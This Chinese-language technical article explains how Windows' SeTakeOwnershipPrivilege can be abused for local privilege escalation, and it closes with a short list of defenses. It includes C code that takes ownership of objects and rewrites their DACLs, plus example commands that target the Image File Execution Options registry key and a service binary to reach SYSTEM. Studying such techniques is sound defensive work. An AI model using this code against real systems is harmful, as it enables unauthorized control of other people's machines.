Token Privileges Abusing - SeTakeOwnershipPrivilege
字数 1182 2025-08-06 12:21:08
SeTakeOwnershipPrivilege 特权滥用技术分析
1. SeTakeOwnershipPrivilege 特权概述
SeTakeOwnershipPrivilege 特权在 Microsoft 官方文档中被描述为 "Take ownership of files or other objects",该特权允许进程通过授予 WRITE_OWNER 访问权限来获得对象的所有权而无需被授予任意访问权限。
2. 特权滥用原理
SeTakeOwnershipPrivilege 特权在攻击面上类似于 SeRestorePrivilege,由于可以接管任意对象,因此可以修改对象的 ACL。攻击者通过以下方式利用:
- 修改 Image File Execution Options 注册表
- 修改系统资源的 DACL
- 通过映像劫持、DLL 劫持或劫持服务等方法获得本地特权提升
3. 技术实现细节
3.1 基本流程
- 启用 SeTakeOwnershipPrivilege 特权
- 设置目标对象的所有者
- 创建新的访问控制列表(ACL)
- 修改目标对象的 DACL
3.2 关键API函数
- SetNamedSecurityInfoW() - 设置对象的安全信息
- SetEntriesInAclW() - 创建新的ACL
- GetNamedSecurityInfoW() - 获取对象的安全信息
- AdjustTokenPrivileges() - 调整令牌权限
- LookupPrivilegeValueW() - 查找特权值
3.3 代码实现关键点
3.3.1 获取令牌用户信息
PTOKEN_USER GetTokenUserInformation(HANDLE hToken) {
DWORD dwReturnLength = 0;
PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(sizeof(TOKEN_USER));
if (GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength) || GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
pTokenUser = (PTOKEN_USER)realloc(pTokenUser, dwReturnLength *= 2);
if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength)) {
// 错误处理
}
}
return pTokenUser;
}
3.3.2 启用特权
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges;
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
// 错误处理
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
// 错误处理
}
return TRUE;
}
3.3.3 接管对象所有权
// 获取对象的安全描述符
dwRes = GetNamedSecurityInfoW(
(LPCWSTR)pObjectName,
ObjectType,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
&pOldDACL,
NULL,
NULL
);
// 设置对象所有者
dwRes = SetNamedSecurityInfoW(
pObjectName,
ObjectType,
OWNER_SECURITY_INFORMATION,
pTokenUser->User.Sid,
NULL,
NULL,
NULL
);
3.3.4 创建新ACL并修改DACL
// 设置显式访问权限
ea[0].grfAccessPermissions = grfAccessPermissions;
ea[0].grfAccessMode = SET_ACCESS;
ea[0].grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
ea[0].Trustee.TrusteeType = TRUSTEE_IS_USER;
ea[0].Trustee.ptstrName = (LPWSTR)pTokenUser->User.Sid;
// 创建新ACL
dwRes = SetEntriesInAclW(1, ea, pOldDACL, &pNewDACL);
// 修改对象的DACL
dwRes = SetNamedSecurityInfoW(
pObjectName,
ObjectType,
DACL_SECURITY_INFORMATION,
NULL,
NULL,
pNewDACL,
NULL
);
4. 实际利用场景
4.1 注册表劫持
接管 Image File Execution Options 注册表项:
SeTakeOwnershipPrivilege.exe -e "Registry" -t "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
执行后,注册表项的所有者将变为当前用户,并拥有完全控制权限,可通过reg命令设置映像劫持。
4.2 文件劫持
接管系统服务二进制文件:
SeTakeOwnershipPrivilege.exe -e "File" -t "C:\\Program Files\\TestService\\TestSrv.exe"
执行后可以替换服务二进制文件为攻击载荷,当服务重启时将获得SYSTEM权限。
5. 防御措施
- 最小权限原则:只授予必要的用户SeTakeOwnershipPrivilege特权
- 特权审计:监控特权使用情况
- 文件系统保护:保护关键系统文件和注册表项
- 服务加固:确保服务二进制文件权限设置正确
6. 完整利用代码
完整代码请参考原文中的SeTakeOwnershipPrivilege.cpp文件,包含所有上述功能的完整实现。
7. 总结
SeTakeOwnershipPrivilege特权滥用是一种有效的本地提权技术,通过接管关键系统对象的所有权并修改其权限,攻击者可以实现权限提升。防御此类攻击需要严格的特权管理和系统加固。